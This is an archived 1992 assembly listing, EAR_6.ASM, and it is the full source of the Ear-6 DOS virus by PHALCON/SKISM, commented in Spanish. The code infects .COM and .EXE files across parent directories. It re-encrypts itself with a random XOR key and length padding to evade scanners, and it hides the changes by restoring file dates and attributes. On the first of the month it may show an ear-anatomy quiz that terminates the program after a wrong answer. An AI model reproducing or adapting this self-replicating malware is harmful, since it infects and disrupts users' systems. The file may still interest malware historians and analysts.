home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / EAR_6.ASM < prev    next >
Assembly Source File  |  1992-08-12  |  15KB  |  476 lines

  1.  
  2. ; [Ear-6]
  3.  
  4. ; El virus de oreja y oído seis
  5. ; Fue escrito por Dark Angel de PHALCON/SKISM
  6. ; Yo (el ángel oscuro) escribí este programa hace muchas semanas.
  7. ; No deba modificar este programa y da a otras personas COMO SI
  8. ; estará el suyo.
  9.  
  10. ; ¿Dónde está mi llama, mama?
  11.  
  12. ;                       diccionarito
  13. ; español       inglés                   magnitud      size
  14. ; abre          open                     mango         handle
  15. ; aprueba       pass (a test)            máscara       mask
  16. ; atras         back                     mensaje       message
  17. ; azado         random                   mes           month
  18. ; busca         find                     montón        heap
  19. ; cierra        close                    oreja, oído   ear
  20. ; cifra         code, encrypt, decrypt   pila          stack
  21. ; codo          pointer                  pregunta      question
  22. ; corto         terse, short             primer        first
  23. ; empieza       begin                    remendar      patch
  24. ; escriba       write                    renuncia      reject
  25. ; español       inglés                   respuesta     answer
  26. ; fecha         date                     salta         exit
  27. ; ficha         file                     siguiente     following, next
  28. ; índice        table                    suspende      fail (a test)
  29. ; ¿le gusta?    do you like?             termina       end
  30. ; longitud      length                   virus         virus (!)
  31.  
  32. .model tiny
  33. .code
  34. org     100h
  35.  
  36. longitud_del_virus = TerminaVir - EmpezarVir
  37. longitud_del_escribir = offset termina_escribir - offset escribir
  38.  
  39. id = 'GH'                                       ; Representa el líder de
  40.                         ; PHALCON/SKISM, Garbageheap
  41. Empezar:  db      0e9h, 0, 0                    ; jmp EmpezarVir
  42.  
  43. EmpezarVir:
  44. shwing:
  45. remendar1:
  46.     mov     bx, offset EmpezarCifra
  47. remendar2:
  48.     mov     cx, ((longitud_del_virus + 1) / 2)
  49. hacia_atras:    ; atrás
  50.     db      2eh
  51. remendar3:
  52.     db      81h, 37h, 0, 0                  ; xor word ptr cs:[bx], 0
  53.     add     bx, 2
  54.     loop    hacia_atras
  55. EmpezarCifra:
  56.  
  57.     call    siguiente                       ; Es estupido, pero es corto
  58. siguiente:
  59.     pop     bp
  60.     sub     bp, offset siguiente
  61.  
  62.     mov     byte ptr [bp+numinf], 0
  63.  
  64.     cld                                     ; No es necessario, pero
  65.                         ; ¿por qué no?
  66.     cmp     sp, id
  67.     jz      SoyEXE
  68. SoyCOM: mov     di, 100h
  69.     push    di
  70.     lea     si, [bp+Primer3]
  71.     movsb
  72.     jmp     short SoyNada
  73. SoyEXE: push    ds
  74.     push    es
  75.     push    cs
  76.     push    cs
  77.     pop     ds
  78.     pop     es
  79.  
  80.     lea     di, [bp+EXE_Donde_JMP]  ; el CS:IP original de la ficha
  81.     lea     si, [bp+EXE_Donde_JMP2] ; infectada
  82.     movsw
  83.     movsw
  84.     movsw
  85.  
  86.     jmp     short SoyNada
  87.  
  88. NombreDelVirus  db  0,'[Ear-6]',0               ; En inglés, ¡por supuesto!
  89. NombreDelAutor  db  'Dark Angel',0
  90.  
  91. SoyNada:
  92.     movsw
  93.  
  94.     mov     ah, 1ah                         ; Esindicece un DTA nuevo
  95.     lea     dx, [bp+offset nuevoDTA]        ; porque no quiere destruir
  96.     int     21h                             ; el DTA original
  97.  
  98.     mov     ax, word ptr [bp+remendar1+1]
  99.     mov     word ptr [bp+tempo], ax
  100.  
  101.     mov     ah, 47h                         ; Obtiene el directorio
  102.     xor     dl, dl                          ; presente
  103.     lea     si, [bp+diroriginal]
  104.     int     21h
  105.  
  106. looper:
  107.     lea     dx, [bp+offset mascara1]        ; "máscara", no "mascara"
  108.     call    infectar_mascara                ; pero no es possible usar
  109.                         ; acentos en MASM/TASM.
  110.                         ; ¡Qué lástima!
  111.                         ; mascara1 es '*.EXE',0
  112.     lea     dx, [bp+offset mascara2]        ; mascara2 es '*.COM',0
  113.     call    infectar_mascara                ; infecta las fichas de COM
  114.  
  115.     cmp     byte ptr [bp+numinf], 5         ; ¿Ha infectada cinco fichas?
  116.     jg      saltar                          ; Si es verdad, no necesita
  117.                         ; busca más fichas.
  118.     mov     ah, 3bh                         ; Cambia el directorio al
  119.     lea     dx, [bp+puntos]                 ; directorio anterior
  120.     int     21h                             ; ('..', 'punto punto')
  121.     jnc     looper
  122.  
  123. saltar: lea     dx, [bp+backslash]              ; Cambia el directorio al
  124.     mov     ah, 3bh                         ; directorio terminado.
  125.     int     21h
  126.  
  127.     mov     ah, 2ah                         ; Activa el primer de
  128.     int     21h                             ; cada mes
  129.     cmp     dl, 1                           ; Si no es el primer,
  130.     jnz     saltarahora                     ; ¡saltar ahora! (duh-o)
  131.  
  132.     mov     ah, 2ch                         ; ¿Qué hora es?
  133.     int     21h
  134.  
  135.     cmp     dl, 85                          ; 85% probabilidad de
  136.     jg      saltarahora                     ; activación
  137.  
  138.     and     dx, 7                           ; Un número quasi-azado
  139.     shl     dl, 1                           ; Usalo para determinar
  140.     mov     bx, bp                          ; que preguntará la virus
  141.     add     bx, dx
  142.     mov     dx, word ptr [bx+indice]        ; índice para el examencito
  143.     add     dx, bp
  144.     inc     dx
  145.     push    dx                              ; Salva el codo al pregunta
  146.  
  147.     mov     ah, 9                           ; Escriba el primer parte de
  148.     lea     dx, [bp+mensaje]                ; la pregunta
  149.     int     21h
  150.  
  151.     pop     dx                              ; Escriba el parte de la oreja
  152.     int     21h                             ; o el oído
  153.     dec     dx
  154.     push    dx                              ; Salva la respuesta correcta
  155.  
  156.     lea     dx, [bp+secciones]              ; Escriba los secciones de la
  157.     int     21h                             ; oreja y el oído
  158.  
  159. trataotrarespuesta:
  160.     mov     ah, 7                           ; Obtiene la respuesta de la
  161.     int     21h                             ; "víctima"
  162.     cmp     al, '1'                         ; Necesita una respuesta de
  163.     jl      trataotrarespuesta              ; uno hasta tres
  164.     cmp     al, '3'                         ; Renuncia otras respuestas
  165.     jg      trataotrarespuesta
  166.  
  167.     int     29h                             ; Escriba la respuesta
  168.  
  169.     pop     bx                              ; El codo al respuesta
  170.                         ; correcta
  171.     mov     ah, 9                           ; Prepara a escribir un
  172.                         ; mensaje
  173.     cmp     al, byte ptr [bx]               ; ¿Es correcta?
  174.     jz      saltarapidamente                ; Él aprueba el examencito.
  175.                         ; Pues, salta rápidamente.
  176.     lea     dx, [bp+suspendido]             ; Lo siento, pero ¡Ud. no
  177.     int     21h                             ; aprueba el examencito fácil!
  178.  
  179.     mov     ah, 4ch                         ; Estudie más y el programa
  180.     jmp     quite                           ; permitirá a Ud a continuar.
  181.  
  182. saltarapidamente:
  183.     lea     dx, [bp+aprueba]
  184.     int     21h
  185. saltarahora:
  186.     mov     ah, 1ah                         ; Restaura el DTA original
  187.     mov     dx, 80h
  188. quite:
  189.     cmp     sp, id - 4                      ; ¿Es EXE o COM?
  190.     jz      vuelvaEXE
  191. vuelvaCOM:
  192.     int     21h                             ; Restaura el DTA y vuelva
  193.     retn                                    ; a la ficha original de COM
  194.  
  195. vuelvaEXE:
  196.     pop     es
  197.     pop     ds                              ; ds -> PSP
  198.  
  199.     int     21h
  200.  
  201.     mov     ax, es
  202.     add     ax, 10h                         ; Ajusta para el PSP
  203.     add     word ptr cs:[bp+EXE_Donde_JMP+2], ax
  204.     cli
  205.     add     ax, word ptr cs:[bp+PilaOriginal+2]
  206.     mov     ss, ax
  207.     mov     sp, word ptr cs:[bp+PilaOriginal]
  208.     sti
  209.     db      0eah                            ; JMP FAR PTR SEG:OFF
  210. EXE_Donde_JMP dd 0
  211. PilaOriginal  dd 0
  212.  
  213. EXE_Donde_JMP2  dd 0
  214. PilaOriginal2   dd 0
  215.  
  216. infectar_mascara:
  217.     mov     ah, 4eh                         ; Busca la ficha primera
  218.     mov     cx, 7                           ; Cada atributo
  219. brb_brb:
  220.     int     21h
  221.     jc      hasta_la_vista_bebe             ; No la busca
  222.  
  223.     xor     al, al
  224.     call    abrir                           ; Abre la ficha
  225.  
  226.     mov     ah, 3fh
  227.     mov     cx, 1ah
  228.     lea     dx, [bp+buffer]
  229.     int     21h
  230.  
  231.     mov     ah, 3eh                         ; Cierra la ficha
  232.     int     21h
  233.  
  234.     lea     si,[bp+nuevoDTA+15h]            ; Salva cosas sobre la ficha
  235.     lea     di,[bp+f_atrib]                 ; Por ejemplo, la fecha de
  236.     mov     cx, 9                           ; creación
  237.     rep     movsb
  238.  
  239.     cmp     word ptr [bp+buffer], 'ZM'      ; ¿Es EXE o COM?
  240.     jz      buscaEXE
  241. buscaCOM:
  242.     mov     ax, word ptr [bp+f_long]        ; ¿Cuan grande es la ficha?
  243.     sub     ax, longitud_del_virus + 3      ; Adjusta para el JMP
  244.     cmp     ax, word ptr [bp+buffer+1]      ; ¿Ya es infectada?
  245.     jnz     infecta_mi_burro                ; "infect my ass"
  246.     jmp     short BuscaMas
  247. buscaEXE:
  248.     cmp     word ptr [bp+buffer+10h], id
  249.     jnz     infecta_mi_burro
  250. BuscaMas:
  251.     mov     ah, 4fh                         ; Busca otra ficha...
  252.     jmp     short brb_brb
  253. hasta_la_vista_bebe:                            ; ¿Le gusta Arnold?
  254.     ret
  255.  
  256. infecta_mi_burro:
  257.     ; AX = longitud de la ficha infectada
  258.     lea     si, [bp+buffer]
  259.  
  260.     cmp     word ptr [si], 'ZM'
  261.     jz      InfectaEXE
  262. InfectaCOM:
  263.     push    ax
  264.  
  265.     mov     cx, word ptr [bp+tempo]
  266.     mov     word ptr [bp+remendar1+1], cx
  267.  
  268.     lea     di, [bp+Primer3]
  269.     movsb
  270.     push    si
  271.     movsw
  272.  
  273.     mov     byte ptr [bp+buffer], 0e9h
  274.     pop     di
  275.     add     ax, longitud_del_virus
  276.     stosw
  277.  
  278.     mov     cx, 3
  279.     jmp     short   TerminaInfeccion
  280. InfectaEXE:
  281.     les     ax, [si+14h]                    ; Salva el original empieza
  282.     mov     word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
  283.     mov     word ptr [bp+EXE_Donde_JMP2+2], es
  284.  
  285.     les     ax, [si+0Eh]                    ; Salva la original locación
  286.     mov     word ptr [bp+PilaOriginal2], es ; de la pila
  287.     mov     word ptr [bp+PilaOriginal2+2], ax
  288.  
  289.     mov     ax, word ptr [si + 8]
  290.     mov     cl, 4
  291.     shl     ax, cl
  292.     xchg    ax, bx
  293.  
  294.     les     ax, [bp+offset nuevoDTA+26]
  295.     mov     dx, es
  296.     push    ax
  297.     push    dx
  298.  
  299.     sub     ax, bx
  300.     sbb     dx, 0
  301.  
  302.     mov     cx, 10h
  303.     div     cx
  304.  
  305.     mov     word ptr [si+14h], dx           ; Nuevo empieza CS:IP
  306.     mov     word ptr [si+16h], ax
  307.  
  308.     mov     cl, 4
  309.     shr     dx, cl
  310.     add     ax, dx
  311.     mov     word ptr [si+0Eh], ax           ; y SS:SP
  312.     mov     word ptr [si+10h], id
  313.  
  314.     pop     dx                              ; Restaura el magnitud de
  315.     pop     ax                              ; la ficha
  316.  
  317.     add     ax, longitud_del_virus          ; Añada el magnitud del virus
  318.     adc     dx, 0
  319.     mov     cl, 9
  320.     push    ax
  321.     shr     ax, cl
  322.     ror     dx, cl
  323.     stc
  324.     adc     dx, ax
  325.     pop     ax
  326.     and     ah, 1
  327.  
  328.     mov     word ptr [si+4], dx             ; Nuevo magnitud de la ficha
  329.     mov     word ptr [si+2], ax
  330.  
  331.     push    cs
  332.     pop     es
  333.  
  334.     mov     ax, word ptr [si+14h]
  335.     sub     ax, longitud_del_virus + offset Empezarvir
  336.     push    ax
  337.  
  338.     mov     cx, 1ah
  339. TerminaInfeccion:
  340.     mov     al, 2
  341.     call    abrir
  342.  
  343.     mov     ah, 40h
  344.     lea     dx, [bp+buffer]
  345.     int     21h
  346.  
  347.     mov     ax, 4202h
  348.     xor     cx, cx
  349.     cwd                                     ; xor dx,dx
  350.     int     21h
  351.  
  352.     mov     ah, 2ch                         ; Números azados en CX y DX
  353.     int     21h
  354.     mov     word ptr [bp+remendar3+2], cx   ; Es el nuevo número de la
  355.                         ; cifra
  356.     and     cx, 31                          ; Pone un número azado para el
  357.     add     cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha.  Por
  358.                         ; eso, los scanners necesitan
  359.     mov     word ptr [bp+remendar2+1], cx   ; usar "wildcards"
  360.         lea     di, [bp+longitud_del_escribir]
  361.     mov     al, 53h                         ; push bx
  362.     stosb                                   ; (no destruir el mango de la
  363.                         ;  ficha)
  364.     lea     si, [bp+shwing]                 ; Copia las instrucciones
  365.     push    si                              ; para formar la cifra
  366.     mov     cx, longitud_de_la_cifra
  367.     push    cx
  368.     rep     movsb
  369.  
  370.     mov     al, 5bh                         ; pop bx
  371.     stosb                                   ; (recuerda mango de la ficha)
  372.  
  373.     lea     si, [bp+escribir]               ; Copia las instrucciones
  374.         mov     cx, longitud_del_escribir       ; para añada el virus a la
  375.     rep     movsb                           ; ficha
  376.  
  377.     mov     al, 53h                         ; push bx
  378.     stosb
  379.  
  380.     pop     cx                              ; Copia las instrucciones
  381.     pop     si                              ; para invalidar la cifra
  382.     rep     movsb
  383.     mov     ax, 0c35bh                      ; pop bx, retn
  384.     stosw
  385.  
  386.     pop     ax
  387.  
  388.     ; Codo del comienzo de la cifra
  389.     add     ax, offset EmpezarCifra + longitud_del_virus
  390.     mov     word ptr [bp+remendar1+1], ax
  391.  
  392.     call    antes_del_tempstore
  393.  
  394.     mov     ax, 5701h                       ; BX = mango de la ficha
  395.     mov     dx, word ptr [bp+f_fecha]
  396.     mov     cx, word ptr [bp+f_hora]
  397.     int     21h                             ; Restaura fecha y hora
  398.  
  399.     mov     ah, 3eh
  400.     int     21h
  401.  
  402.     xor     ch, ch
  403.     mov     cl, byte ptr [bp+f_atrib]
  404.     mov     ax, 4301h
  405.     lea     dx, [bp+offset nuevoDTA + 30]     ; Busca un ficha en el DTA
  406.     int     21h
  407.  
  408.     inc     byte ptr [bp+numinf]
  409.  
  410.     jmp     BuscaMas
  411.  
  412. Primer3  db 0CDh, 20h, 0
  413. puntos   db '..',0
  414. mascara1 db '*.EXE',0
  415. mascara2 db '*.COM',0
  416.  
  417. abrir:  mov     ah, 3dh                         ; Abrir un ficha
  418.     lea     dx, [bp+nuevoDTA+30]            ; Nombre de la ficha es en
  419.     int     21h                             ; el DTA
  420.     xchg    ax, bx
  421.     ret
  422.  
  423. indice  dw      offset oreja1, offset oreja2, offset oreja3, offset oreja4
  424.     dw      offset oreja5, offset oreja6, offset oreja4, offset oreja1
  425. oreja1  db      '1','Auditory Canal$'
  426. oreja2  db      '1','Lobe$'
  427. oreja3  db      '2','Anvil$'
  428. oreja4  db      '2','Eustachian Tube$'
  429. oreja5  db      '3','Auditory Nerve$'
  430. oreja6  db      '3','Cochlea$'
  431.  
  432. mensaje db      'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
  433. secciones db    ' located?',13,10
  434.     db      ' 1. External Ear',13,10
  435.     db      ' 2. Middle Ear',13,10
  436.     db      ' 3. Inner Ear',13,10,'( )',8,8,'$'
  437.  
  438. ; No es bueno.
  439. suspendido db   13,10,'You obviously know nothing about ears.'
  440.     db      13,10,'Try again after some study.',13,10,'$'
  441.  
  442. ; ¡Espero que sí!
  443. aprueba db      13,10,'Wow, you know your ears!  Please resume work.',13,10
  444.     db      '$'
  445.  
  446. escribir:
  447.     mov     ah, 40h
  448.     mov     cx, TerminaVir - EmpezarVir
  449.     lea     dx, [bp+EmpezarVir]
  450.     int     21h
  451. termina_escribir:
  452.  
  453. backslash db '\'
  454.  
  455. TerminaVir = $
  456.  
  457. ; Los que sigue son en el montón...
  458. longitud_de_la_cifra = offset EmpezarCifra - offset shwing
  459.  
  460. diroriginal db 64 dup (?)
  461. tempo       dw ?
  462. nuevoDTA    db 43 dup (?)
  463. numinf      db ?
  464. antes_del_tempstore:
  465. ; tempstore es el buffer para el parte del programa que añada el virus al fin
  466. ; de otro programa
  467.                         ; añada cinco para los pop,
  468.                         ; los push, y el retn
  469. buffer      db 1ah dup (?)
  470. f_atrib     db      ?                           ; atributo de la ficha
  471. f_hora      dw      ?                           ; hora de creación
  472. f_fecha     dw      ?                           ; fecha de creación
  473. f_long      dd      ?                           ; magnitud de la ficha
  474.  
  475.     end     Empezar
  476.